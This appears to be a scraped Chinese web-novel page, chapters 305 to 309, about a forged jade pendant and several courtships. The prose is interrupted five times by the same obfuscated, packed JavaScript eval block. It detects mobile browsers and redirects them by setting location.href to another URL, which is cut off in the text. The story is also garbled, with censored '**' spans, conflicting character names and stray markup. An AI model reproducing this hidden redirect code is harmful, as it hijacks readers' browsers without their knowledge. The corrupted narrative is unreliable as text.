;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530862|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直就是个定时**,扔了都怕烫着别人。 酆明川深吸一口气,定了定神, “这些日子,承蒙姑娘和姑娘背后的贵人相助,柳某感激不尽,却无以为报。” 他将手中的玉珏递给桂柔, “这块玉,听说是能辟邪消灾的。只是我们这样的人家,怕是无福消受。这位小姐背后的大佬身份不简单,这玉,就当是借花献佛,送给贵人了。” 他挠了挠头,有些不好意思地笑了笑, “其实,这玉放在我这里,也是个祸患。与其说是赠送,倒不如说是请贵人帮我除了这个麻烦。” 他顿了顿,又补充道: “宝物也需配英雄。这玉在贵人手里,或许能逢凶化吉,遇难成祥。可在我手里,除了招灾惹祸,别无用处。” “我这等凡夫俗子,是无福消受的。倒不如送给有缘人,也算是物尽其用。”“这玉……”桂柔捏着玉的红绳,微微蹙眉。 玉色温润,入手生暖,是难得一见的上品。只是,她家主子与那酆明川非亲非故,这般贵重之物,着实不妥…… “奴婢不敢擅专,且先替主子收着。”她斟酌着字句,“待奴婢回禀过主子,再做定夺。” 酆明川闻言,紧绷的肩背松弛下来,如释重负地长舒一口气: “如此,便有劳姑娘了。” 他微微躬身,行了一礼。 桂柔颔首,算是应下,转身回了浮萍居。 屋内,熏笼里燃着淡淡的安息香。 桂柔将先前在院中与酆明川的对话,一字不落地复述给晏清澜听。 “……柳公子走时,脚步都轻快了些。”她顿了顿,又补充道。 晏清澜将那血玉置于掌心,细细摩挲。 冰凉的触感,似能透过肌肤,直抵心底。 “收着吧。”半晌,她开口,声音淡淡。 “去库房寻一块成色相近的血玉来,仔细打磨,务必以假乱真。” 桂柔一怔,随即垂眸应是,心中却泛起嘀咕:自家主子素来不喜与人虚与委蛇,这回怎的…… “主子这是何意?”她忍不住问。 晏清澜抬眸,视线落在窗外一株新绿的柳树上,声音很轻: “算不得帮衬,不过是各取所需,顺水推舟罢了。” “他若想瞒天过海,那赝品质地便不能差。 第三百零五章 大昌开国皇后的东西,便是再不识货之人,也不会看走眼。” 左右她库房里有块差不多的,倒也省了酆明川费心。 只是…… 晏清澜指尖轻叩桌面,这玉器打磨,该交与何人? 影阁那些人,虽各有所长,可这般精细的活计,怕是无人能胜任…… 正思量间,一阵清风拂过,带来丝丝缕缕熟悉的松木香。 童玄珏悄无声息地出现在她身后,微凉的指尖轻轻搭上她的肩。 “想什么呢,这般出神?”他的声音低沉,带着关切。 晏清澜身子微微一僵,随即放松,回眸一笑,如春花初绽: “你怎么来了?” “想见你,便来了。”童玄珏俯身,在她发顶轻轻一揉,声音里是毫不掩饰的宠溺。 晏清澜眼中闪过一丝戏谑,语气却带着几分嗔怪: “平日里冷面冷心的燕王殿下,竟也有这般……绕指柔的时候?” 她想起前世见过的某种温顺的犬类,与眼前的他,竟有几分神似。 只是,那“微笑天使”的名头,终究是与他无缘。 童玄珏虽不解其意,却也听出她话中的调侃。 他顺势握住她的手,轻轻一带,便将她揽入怀中。 “‘谈恋爱’是何意?”他问,声音低低的,似在耳语。 晏清澜微微后仰,靠在他胸膛上,寻了个舒服的姿势: “便是……两颗心彼此相悦,却又未曾定下白首之约……” 她仰起头,望进他深邃的眼眸,那里似有星光闪烁。 童玄珏的笑容里,多了几分无奈: “你倒是……通透。” 娶她过门,是他日思夜想之事。 可傅清霁与厉宗玉那里…… 他轻叹一声,将话题转开,拿起桌上的玉珏: “这是……” “酆明川送来的。”晏清澜言简意赅,“大昌开国皇后的旧物。” 童玄珏“嗯”了一声,指尖在玉珏上轻轻摩挲,声音听不出情绪: “他倒是舍得。” 晏清澜支起下巴,望着窗外出神,声音有些飘忽: “于他而言,或许是块烫手山芋。留着,是祸患;赠人,又恐惹祸上身。” “我打算寻块相似的玉,偷梁换柱。反正那两人,也未曾见过这玉的真容。” 童玄珏听了,眉梢微挑,嘴角勾起一抹玩味的笑: “晏四姑娘何时这般菩萨心肠了?” 这话…… 怎么听着酸溜溜的? 晏清澜转过头,看向他。 他也正凝视着她,目光幽深,似有漩涡。 那眼神…… 让人没来由地心慌。 晏清澜试探着开口: “你莫不是……在吃味?” 童玄珏面色如常,语气淡淡: “你想多了。” 晏清澜无奈地笑了。 她起身,绕到他身后,双手环住他的颈,凑近他耳畔,声音轻柔: “这世间繁花似锦,可入我眼的,唯有你一人。” 声音似春风拂柳,又似清泉流淌,带着安抚人心的力量。 童玄珏眸色渐深,唇角微微上扬,却仍是绷着脸,不肯轻易流露情绪。 他反手一拉,便将她重新拉入怀中。 晏清澜猝不及防,跌坐回他腿上,低呼一声。 童玄珏将下巴抵在她肩窝,轻轻蹭了蹭,声音低沉而温柔: “四姑娘这般说,我便放心了。” “那你还患得患失!”晏清澜在心中暗自腹诽,面上却不露分毫。 她伸手,轻轻抚弄着玉珏上的穗子,语气认真: “童玄珏,我听闻,这玉有灵,可佑人平安顺遂。” 童玄珏眉梢微动:“哦?” 晏清澜靠在他怀里,声音很轻,带着几分期许: “我想将它赠予你,愿你往后……皆是坦途。” 从前,她对这些嗤之以鼻。 可如今…… 她望着他,目光温柔而坚定: “人总要有些念想,有个寄托,不是么?” 她希望他平安顺遂,希望他得偿所愿…… 童玄珏从前过得太苦,她想将这世间所有的美好,都送到他面前。 “不必了。”童玄珏却轻轻摇头,将玉珏放回桌上,似是浑不在意。 他拥紧她,声音低沉,带着几分笑意: “四姑娘若真想佑我,又何须假手于物?” “这玉再好,终究是身外之物。可你不同……” 他顿了顿,声音里是满满的柔情: “你便是我的福泽。若想让我长长久久地被这福泽庇佑,便莫要离开我,可好?” 遇见她之前,这人间于他,是无边炼狱,是无尽长夜。 遇见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538576|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,这人间…… 便有了光亮,有了温度。 晏清澜笑了,眉眼弯弯,如新月。 她伸手,环住他的腰,将头埋在他胸前,声音闷闷的: “这世上,怕是只有你会这般说。旁人皆道我命格不好,是灾星降世呢。”“扫把星?” 童玄珏低笑,指尖在她鼻尖上轻轻一刮。 “谁说你是灾星了?” “陆家姑娘是因你才躲过北戎人的冷箭,陆家满门也是托了你的福,才免遭大难。” 他略一停顿,如数家珍般细数起来。 “韩瑾那小子,若不是你出手相救,怕是早就见了阎王。” “还有那些大昌的百姓,多少人是得了你的医治,靠着你施的粮,才熬过饥荒。” “战场上……”童玄珏微微偏过头,似是在努力回忆,“又有多少伤兵是因你才保住性命?这笔账,怕是你自己都算不清了。像你这种人要是算克夫,那天底下还有谁敢自称福星?” 晏清澜未料到他竟将这些事记得如此清楚,不由得眉梢轻扬,眼中闪过一丝惊讶。 “依你所言,我在你眼中,倒成了福星?”她顺势接话,语气中带着几分玩笑的意味。 “那是自然。” 童玄珏的回答脱口而出,没有丝毫迟疑。 “我心里的你就像,陆家上下都把你当作,在那些心悦你之人眼中,你都是福星。”他话锋一转,语气中带了些许不屑,“至于那些有眼无珠的,不理也罢。” 他微微一顿,似是觉得不够,又添了一句: “小小年纪便瞎了心,何必与他们一般见识?” 晏清澜闻言,心中既觉温暖,又有些难以言喻的滋味。她微微垂眸,目光落在童玄珏那只骨节分明、修长如玉的手上。 “这么说,这玉,你当真不收?”她轻声问道,手指无意识地摩挲着腰间玉佩。 她原以为,童玄珏会毫不犹豫地拒绝。 不料,他却轻笑出声,眉梢微微上挑。 “谁说我不收?”他反问道,语气中带着一丝戏谑,“夫人所赠,怎能不笑纳?” 童玄珏垂眸看着晏清澜,眸中笑意盈盈。 他想要的,从来都不是这块玉本身。 而是这块玉背后,她那份无法掩饰的心意。 晏清澜被他这一声“夫人”唤得一怔,随即抬眼嗔怪地瞪了他一眼,伸手在他胳膊上不轻不重地拧了一把。 第三百零六章 “谁是你夫人?莫要胡说。”她佯装恼怒,语气中却透着一丝不易察觉的娇嗔。 童玄珏顺势将下巴搁在她的肩头,声音低沉而温柔: “现下不是,将来总归是。晏四姑娘,这事儿你抵赖不得。从你说心悦我的那日起,便已成定局。” 他微微一顿,语气中多了几分无赖的意味: “更何况,你对我又搂又抱的,如今想一走了之,晚了。” 温热的气息拂过耳畔,晏清澜能够清晰地闻到他身上那股熟悉的松木香,清冽而令人安心。 她的耳根微微泛起红晕,心跳也漏跳了一拍。 这话说的…… 晏清澜暗自咬牙,只觉一阵气恼。 她哪里像他说的那般轻浮? 分明是他……先来招惹她的! 这人,简直是颠倒是非! “咳……”晏清澜轻咳一声,试图岔开话题,“寻一块假玉来蒙骗晏远舟他们,你不介意吧?” 童玄珏眉梢一挑,故作严肃地板起脸,慢条斯理地开口: “原本是介意的,不过……”他故意拉长了语调,“这就要看晏四姑娘如何‘将功补过’了。” 晏清澜抬眸,恰好对上他那双灼热的眼眸。 童玄珏薄唇微勾,也正一瞬不瞬地凝视着她。 “啧。”晏清澜心中暗自轻啧。 这人,当真是越发得寸进尺了。 她无奈地翻了个白眼,心中却又觉得有些好笑。 童玄珏见状,非但没有收敛,反而变本加厉地挑了下眉,一副静候她“将功补过”的模样。 晏清澜福至心灵,忽然凑上前去,在他唇上轻啄一下。 她本想迅速退开,却被童玄珏眼疾手快地扣住了后颈。 他眸光潋滟,往日里清冷的眉眼间,此刻尽是温柔与笑意,几乎要将人溺毙其中。 这个吻被他加重了几分,辗转缠绵。 常言道,月色醉人,雪色倾城。 然而,都不及此刻少年眼中的脉脉深情。 金秋时节,丹桂飘香。 天边的云朵,仿佛也悄然侧耳,想要聆听这对佳人的心跳。 晏清澜只觉一阵晕眩,她下意识地伸手,紧紧攥住童玄珏胸前的衣襟。 良久,童玄珏才终于松开了她。 他眉眼含笑,眼底是化不开的柔情蜜意,连嗓音中都带着显而易见的愉悦: “嗯,晏四姑娘这‘过’补得不错,我如今不介意了。” 晏清澜听了这话,恨不得将一口银牙咬碎。 她猛地转过头,不愿看他,作势要从他腿上起来。 童玄珏却抢先一步伸手,将她重新揽回怀里。 “好夫人,莫要生气,为夫知错了。”他低声哄劝,语气那叫一个诚恳。 晏清澜冷哼一声,并不领情: “哦?那你且说说,你错在何处?” 童玄珏微微挑眉,装傻充愣: “不知,不过夫人既然不悦,那定然是为夫的错。” 晏清澜抬手,在他手背上不轻不重地拍了一下。 这都什么乱七八糟的! 从前,童玄珏虽说也时常厚着脸皮,做出些让人哭笑不得的事来。 可也没像现在这般……这般不着调啊! 怎的一动了情,他就跟换了个人似的! 晏清澜暗自深吸一口气,决定还是谈正事要紧,否则迟早要被他带偏: “要雕一块以假乱真的玉,并非易事。特别是这块玉的反面,还有一道细微的划痕。” 她略微停顿,解释道: “我曾听人说起过,这道划痕,乃是多年前便有的。传闻是本朝开国皇后**时,这块玉替她挡了一劫,才留下的痕迹。” 其他的都无所谓,唯有这道划痕,最是难以仿制。 既要形似,又要让人瞧不出是新近所为。 童玄珏听罢,只是笑了笑,语气轻松: “此事不难,交由尤戟便是。” 他微微一顿,又补充道: “那小子,连传国玉玺都能仿个**不离十,何况区区一块玉?便是那划痕,于他而言,也不过是举手之劳。” 晏清澜听了,眼前一亮: “既如此,那便有劳燕王殿下了。” 童玄珏唇角勾起一抹愉悦的弧度,他伸手,轻轻刮了一下晏清澜的鼻尖。 “一家人,何须言谢。日后若再遇着难事,尽管来寻你夫君便是。” 晏清澜斜睨了他一眼,面上虽带着几分嫌弃,却并未出言反驳。 只是,她的嘴角,也悄然弯起。 …… 彼时,尤戟接到这差事,一时有些回不过神来。 他将那块玉珏翻来覆去地看了好几遍,又拿起那块尚未雕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538577|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琢的血玉,仔细端详。 主子吩咐,要他仿制一块一模一样的。 尤其要紧的,是那道划痕,不能露出丝毫破绽。 尤戟有些怀疑人生。 不是……这…… 这般简单的活计,竟也需他亲自出马? 难不成,这玉珏背后,还藏着什么不为人知的秘密? 主子的心思,向来深不可测。 他暗自揣测,主子这般安排,定然有他所不知的缘由。 这玉珏,绝非寻常之物。 尤戟的神情渐渐严肃起来,只觉得手中那块未经雕琢的血玉和那块玉珏都变得沉甸甸的。 莫非……这玉珏是定情信物? 尤戟脑中灵光一闪,顿时觉得这玉珏沉甸甸的,怕不是比那金山银山都贵重。 主子既然将此事交托于他,想来定是极其要紧的。 他虽不知主子真正的用意,却也绝不敢掉以轻心。 尤戟暗自定了定神,开始着手仿制这块玉珏,力求完美。 而当他日后知晓童玄珏让他做这事的真正缘由时,那心情……当真是五味杂陈,难以言说。 自然,这些都是后话了。国子监门口,熙熙攘攘。 酆明川捏着那块温润的玉珏,步履沉稳,朝着人群中被众星捧月般围着的晏远舟走去。 “远舟兄,”他开口,声音不大,却清晰地传入每个人的耳中,“前些日子,你说府上六妹妹身子不适,想买我这块玉珏……” 他顿了顿,目光在晏远舟身上停留片刻,又落回手中玉珏,似有不舍,似有挣扎。 周遭顿时响起窃窃私语。 晏远舟原本正与几位同窗谈笑风生,闻言,脸上的笑容微微一滞。 他抬眼,看向朝他走来的酆明川,眸光微动。 平日里,这酆明川说话做事直来直去,今日这般…… “明川兄,”晏远舟敛起神色,迎上前两步,语气温和,“这……” “我知道,这是我家祖传的宝贝,”酆明川打断他,径自说道,“原本,我是万万舍不得卖的。” 他抬手,挠了挠头,露出一抹憨厚的笑,“可我回去跟爹娘一说,你猜怎么着?” 他故意卖了个关子,吊足了众人的胃口。 晏远舟的脸色,却是愈发僵硬。 他张了张口,想说些什么,却又不知该如何开口。 第三百零七章 周围的同窗们早已按捺不住,七嘴八舌地议论起来: “远舟,你倒是说话呀!” “明川兄能把传家宝给你,这份情谊可不轻!” 一人边说,边用胳膊肘碰了碰晏远舟。 “不过,你家妹妹病得怎样了?要紧不要紧?”另一人紧接着问道,语气中满是关切。 “这不明摆着吗?定是病得不轻!”又一人抢着答道,“不然,谁会想着买玉珏来冲喜?” “话说回来,远舟兄,你家妹妹可不少,究竟是哪位……” “是苏府家的老六,”酆明川接过话头,声音洪亮,“远舟兄的六妹妹。” 晏远舟只觉得一阵头大,太阳穴突突直跳。 他进退两难。 接也不是,不接也不是。 若接了,岂不是坐实了六妹妹病重的流言?更何况…… 可若是不接,岂不是当众驳了酆明川的面子,更显得他虚情假意? “远舟兄,拿着吧,”酆明川见他犹豫不决,索性将玉珏往前一送,“这玉,能保平安。” 他像是回忆起了什么,眼神中多了一丝真诚: “我小时候身子弱,总生病,家里人愁得不行。后来,是我祖父把这玉珏给我戴上,你猜怎么着?没过多久,我就活蹦乱跳了!” 他顿了顿,目光灼灼地看着晏远舟。 晏远舟只觉得喉咙发紧,像是吞了一块烧红的炭,火烧火燎的难受。 可这玉,是韩承煜指名要的。 他别无选择。 深吸一口气,他强压下心头翻涌的情绪,挤出一个比哭还难看的笑容,朝着酆明川拱手作揖: “明川兄,这份情,我晏远舟记下了,只是这银子……” 他话锋一转,语气坚定:“银子你必须收下!不然,我良心难安。” 周围的同窗们也纷纷帮腔: “是啊,明川兄,这件宝贝可是你们家祖传的,哪能白送?” “你要是不收,岂不是让我们远舟兄落个‘强取豪夺’的名声?” 更有人,话里藏了几分机锋: “明川兄,你要是不收银子,不知道的,还以为你拿块假的来糊弄人呢。” 酆明川闻言,心中暗笑。 可不就是假的吗? 面上,他却故作为难,沉吟片刻,才道: “既然如此……那我就却之不恭了。” 晏远舟见他这副模样,心中原本还有的一丝疑虑,也烟消云散。 毕竟,酆明川之前确实是不想卖的。 他接过玉珏,触手生温,细细摩挲,能清晰地感觉到那道陈旧的划痕。 韩承煜曾特意叮嘱过,那块玉佩表面有一处伤痕,还详细描述了这划痕的来历。 其他都可以作假,唯独这划痕…… 就算有人能做出以假乱真的赝品,也绝非酆明川能接触到的。 更何况,这玉质地如此上乘,怕是千金难求,谁会舍得拿来作假? 晏远舟这般想着,脸上的笑容也真诚了几分。 他转过身,对身旁候着的小厮吩咐: “去,取银票来。” 小厮躬身应道:“是,少爷。” “银票要备足,”晏远舟又补充道,“不能少。” 他既已决定买下,便不能在这件事上落人话柄。 否则,往小了说,是他晏远舟人品不端,欺负酆明川老实。 往大了说,便是他们苏府藐视皇权,不将大昌开国皇后的遗物放在眼里。 片刻后,小厮捧着一个精致的红木匣子,快步返回。 晏远舟接过,双手递给酆明川。 “明川兄,这是十万两银票,你收好。” 十万两! 人群中响起一阵惊呼。 晏远舟虽家境殷实,但十万两也绝非小数目。 这笔钱,恐怕大半都是从公账上支取的。 众人看向酆明川的眼神,顿时变得复杂起来,有羡慕,有嫉妒,也有几分看好戏的意味。 “真给了银子,啧啧……” “这银子,怕是还没焐热,就要易主喽。” “说不定,柳家还会因此遭难呢……” “远舟兄瞧着不像这种人啊。” “人心隔肚皮,谁说得准呢?” 几人压低声音,窃窃私语。 --- “这玉……” 酆明川将那块玉珏在手中掂了掂,眉头紧锁。 他猛地抬头,看向一旁静立的桂柔,声音沙哑: “这……不是我原来那块,是不是?” 桂柔环抱双臂,微微扬起下巴,神情淡然,似乎对他的反应早有预料。 “假的,”她淡淡开口,声音清冷,“仿的。” 简单的两个字,却如同一道惊雷,在酆明川耳边轰然炸响。 他一怔,连忙将那玉珏翻来覆去地仔细查看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545001|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 入手温润,质地细腻,就连那道熟悉的划痕,都与真品分毫不差。 这…… “姑娘的主子,真是……料事如神。” 酆明川回过神来,由衷感叹,说着,朝桂柔深深一拜, “在下眼拙,竟未曾看出……实在惭愧。” 桂柔微微抬了抬下巴,脸上掠过一丝不易察觉的自得。 “那是自然,我家主子岂是寻常人?” 她语气中带着几分骄矜。 若是晏清澜在此,听到这番话,怕是要忍不住掩唇轻笑。 不过,此刻的酆明川,却是满心钦佩。 桂柔收敛了神色,恢复了一贯的冷淡。 她上下打量了酆明川一番。 “晏远舟那点小伎俩,你应该早就看穿了吧?” 她语气平淡,像是在说一件微不足道的小事。 “别跟我说你到现在还被他蒙在鼓里,跟个傻子似的。” 酆明川连忙摆手, “哪能呢!我又不傻!”他语气急切地解释,“自从上次听说了‘一缕霜’和‘玉华盏’的事,我暗中防着点。我发现,晏远舟这人,表面一套,背地一套,根本不是什么正人君子!” “尤其是邱夫子出事后,晏远舟的反应,更让我觉得不对劲。” 他顿了顿,似是有些愤慨,又似有些无奈。 “我……我早就想离他远远的了,这次也是借着这个机会……” 桂柔不置可否地挑了挑眉,似乎并不关心他的那些小心思。 “知道就好。” 她淡淡地扫了酆明川一眼。 然后直接转身,走开了。 酆明川愣在原地,有些摸不着头脑。 他挠了挠头,心中暗自嘀咕: “我是不是……又说错什么话了?” 他自认为没说什么不妥的,怎么这位姑娘又生气了? 莫非……是嫌他太啰嗦了? 他暗自反省,下次还是少说为妙。 不过,这块玉仿得可真像啊…… 他低头,看着手中的玉珏,眼神有些恍惚。 昨日,他已向父母坦白了一切。 这块玉被他们占着,迟早会惹来祸事。 不如…… 至于日后,若是祖宗怪罪…… 酆明川垂眸,看着手中的玉珏,眼神晦暗难测,让人看不出他在想什么。晏远舟觉得自己快要气炸了。 第三百零八章 他一向自诩君子,温润如玉,可眼前这帮人的恶意揣测,像一根根尖刺,扎得他五脏六腑都疼。 他晏远舟,像是缺那点银子的人吗? 更何况,泼出去的水,哪有收回来的道理! 他死死地盯着那个说话阴阳怪气的人。 那人平日里就与他针锋相对,今天这番话,摆明了是冲着他来的,存心要让他下不来台。 晏远舟深吸一口气,硬生生挤出一个比哭还难看的笑。 “这事……确实是庄某考虑不周。” 他故作担忧地看向酆明川。 “明川兄,你拿着这一匣子银票,目标太大,容易惹人眼红。不如这样,今天我派几个身手好的家丁,护送你回府。” 说完,他目光扫过那几个出言不逊的人,眼神冷得像淬了冰。 “总之,我绝不会让明川兄出半点差池。” 晏远舟在心里冷笑。 何止是不能出事?他还得想方设法让酆明川这蠢货别给他惹事。 只要有酆明川这个人在,那些人泼脏水的时候总会掂量掂量。 否则,柳家但凡有个风吹草动,那些与他有过节的读书人,能把唾沫星子喷到苏府大门上! 他眼下正紧锣密鼓地准备来年的春闱,可不能在这个节骨眼上出岔子。 邱夫子的事,已经在士林中引起轩然大波,那些读书人一提起来就是摇头叹息,好像他晏远舟是什么十恶不赦的罪人。 他绝不能再因为这些捕风捉影的流言,毁了自己的锦绣前程。 所以他才特意让钱雅芝务必请晏清澜出席她的生辰宴。 否则以讹传讹,不知道还会传出什么难听的话。 如今,京城里关于钱雅芝的流言,简直是满天飞。 晏远舟也听说了,不少人背后议论,说钱雅芝心狠手辣,为了权势富贵,不惜对自己的亲生女儿下毒手。 晏远舟想,晏清澜当初能眼睛不眨地拿出那么多银子,在回京的路上大肆宣扬,把自己捧得跟天仙下凡似的。 可见,她是把自己的名声看得比什么都重。 既是如此,她就绝不可能缺席生母的寿宴。 不然呢?等着被天下人戳脊梁骨,骂她不孝吗? 晏清澜只要在苏府露个面,那些谣言自然不攻自破。 他原本还以为,要说服钱雅芝,恐怕得费一番周折。 结果,钱雅芝只是稍稍想了想,便点头答应了。 晏远舟懒得去猜钱雅芝的心思。 他也不想猜。 横竖不过是个女人家的算计,只要不影响他步步高升,晏清澜是死是活,跟他晏远舟有什么关系? 巧了,晏清澜也是这么想的。 在她眼里,除了晏老夫人和晏芸清,其他人的死活,她根本不在乎。 此刻,她正优哉游哉地在御武校场,观看八皇子练剑。 宋明澜站在一旁,一招一式地耐心指导。 至于三公主? 她就站在晏清澜和宋溪溪身边,眼睛一眨不眨地盯着宋明澜看。 那嘴角,自从来了之后就没落下来过。 晏清澜感觉自己像是被硬塞了一嘴狗粮,齁得发慌。 宋溪溪倒是一副看好戏的模样,跃跃欲试: “谁带了炒花生?这种名场面,不来点零嘴助助兴?” 八皇子确实有习武的天赋,上手极快。 偶尔遇到想不明白的地方,晏清澜和宋明澜稍加提点,他便能立刻领悟。 休息的时候,八皇子迈着小短腿,哒哒哒跑到晏清澜面前。 “清姐姐,那次多亏你出手相助,我还没好好谢过你呢。” 他仰着小脑袋,一脸正经。 “父皇赏了你那么多宝贝,我可不能落后。这校场里有很多好玩的东西,我带你去看看。” 说着,他又转头拉了拉宋溪溪的衣袖,笑得眉眼弯弯。 “溪柔姐姐,你也一起去呀。” 晏清澜发现,小家伙先叫了“清姐姐”,又叫了“溪柔姐姐”,唯独漏了自己那位亲皇姐。 八皇子似乎也觉得这样不太好,跑出几步,又突然转过身,冲着三公主韩清韵调皮地眨了眨眼。 “皇姐,我师父就交给你啦,你可得好好陪陪他哦。” 韩清韵的脸“腾”地一下红了,一直红到脖子根。 “阿玥!你这小鬼头,又胡说八道!” 她又羞又气,跺了跺脚。 眨眼间,偌大的校场上,就只剩下宋明澜和韩清韵两个人。 韩清韵低着头,恨不得把脸埋到土里,压根不敢抬眼去看宋明澜。 她觉得自己的耳尖烫得吓人。 宋明澜也有些局促不安。 这… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545002|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …这要怎么跟自己未来的媳妇儿相处? 他抓了抓头发,在心里默默求助: 谁来教教我?挺急的! 先前韩清韵是身份尊贵的三公主,宋明澜跟她相处,那叫一个轻松自在。 可如今,韩清韵摇身一变,成了他的未婚妻,宋明澜反而有些不知所措了。 他偷偷瞄了一眼韩清韵,发现她也低着头,耳尖红得像是要滴血。 宋明澜心想,自己好歹是个堂堂正正的男子汉,总不能比姑娘家还放不开。 他清了清嗓子,率先开口打破了沉默。 “那个……公主,你平时都喜欢些什么?有什么忌口吗?” “啊?” 韩清韵压根没想到他会问这个,整个人都懵了。 她猛地抬起头,正好和宋明澜的目光撞了个正着。 宋明澜看到阳光下,她那泛着红晕的耳尖,还有那双写满了茫然的眼睛。 一瞬间,他没忍住,微微勾起了唇角。 他的笑容,像是春日里温暖的阳光,暖洋洋的,连带着周围的秋风都变得温柔了几分。 “我们……我们很快就要成亲了,可我还不知道你的喜好。” 他的声音很轻,像一片羽毛,轻轻拂过韩清韵的心头。 “过些日子,你就要搬出公主府,到陆家生活了,我担心你会不适应。” 韩清韵听了这话,眼神中闪过一丝迷茫。 原来,成亲这件事,还要考虑她适不适应的吗? 自古以来,女子出嫁,不都是要舍弃自己过去的生活,去迎合夫家的一切吗? 至于女子会不会感到迷茫,会不会害怕,是否感觉很陌生…… 又有谁会在意呢? 她从小在宫中长大,却也听过不少宫外的故事。 母后告诉她,女子一旦嫁了人,就像是被折断了翅膀的鸟儿,只能被困在一方小小的天地里。 母后还说,姐妹最潇洒的黄金岁月,其实是无忧无虑的童年。 年纪小的时候,不用被各种规矩束缚。 所以,韩清韵的日子,过得还算自由。 要不然,她也不敢三番五次偷偷溜出宫。 她虽然喜欢宋明澜,但其实心里早就做好了准备。 一旦嫁给他,就要收起自己的性子,做一个合格的妻子,遵守那些繁琐的规矩。 第三百零九章 现在,宋明澜突然问她喜欢什么,这让她有些不知所措。 韩清韵小心翼翼地试探着问: “我……真的可以说出自己喜欢什么吗?不会……给你添麻烦吗?” 她的声音很轻,眼神清澈,像山间流淌的小溪,纯净得不含一丝杂质。 宋明澜的心,忽然变得柔软起来。 “你是活生生的人,又不是庙里的泥菩萨,当然可以有自己的喜好。” 他笑着说,语气温柔而坚定。 “所以,三公主,能告诉我,你喜欢什么,讨厌什么吗?” 韩清韵的脸颊微微泛红,轻声说: “我……还从没听人说过会在意这些事,以前听到的都是女子该如何如何……” 她顿了顿,声音更低了。 “难道不该是女子去习惯夫家的一切吗?” 宋明澜哈哈一笑。 “谁定的规矩?简直是胡说八道!姑娘家出嫁前也是活蹦乱跳的人,凭什么嫁了人,就要变成没有喜怒哀乐的木头人?” 他看着韩清韵,目光明亮,语气诚恳。 “你放心,陆家不是什么洪水猛兽,我爹娘都是很开明的人。就算你嫁了人,也依旧可以做你自己,做最真实的韩清韵,喜欢什么就去做什么。” “喜欢什么就去做什么……” 韩清韵反复念叨着这句话,像是在品味其中的深意。 过了好一会儿,她才抬起头,脸上绽放出一个明媚的笑容,眼睛里闪烁着耀眼的光芒,像是夜空中璀璨的星辰。 “我呀,无辣不欢,不喜欢太甜的点心,不过特别精致的除外,比如碧霄楼的糕点。” “我不喜欢太张扬的花,就喜欢松柏,还有下雪天。哦对了,我最烦那些笑里藏刀的人。” 她顿了顿,眨了眨眼,有些紧张地问宋明澜: “这些……全部都印象深刻了没?会不会太多了?” 她的小表情里,带着一丝小心翼翼,像一只刚出生的小鹿,惹人怜爱。 宋明澜看着她,忍不住笑了。 他想了想,故意逗她: “我记性不太好,要不你再说一遍?” 韩清韵一听,顿时有些着急了。 “啊?这……这么多,你都没记住吗?” 她皱着眉头,努力回忆着自己刚才说的话。 “我……我再跟你说一遍,你这次可要认真听呀。” 宋明澜看着她认真的模样,终于忍不住笑出声来。 “好啦,逗你的,我都记着呢。” 他语气温柔,像是在哄一个孩子。 “别紧张,在我面前,你可以放轻松些。就像中秋那天晚上,那个挺身而出、见义勇为的三公主,就很好,很真实。” 提到中秋夜,韩清韵反倒有些不好意思了。 她清了清嗓子,试图掩饰自己的窘迫。 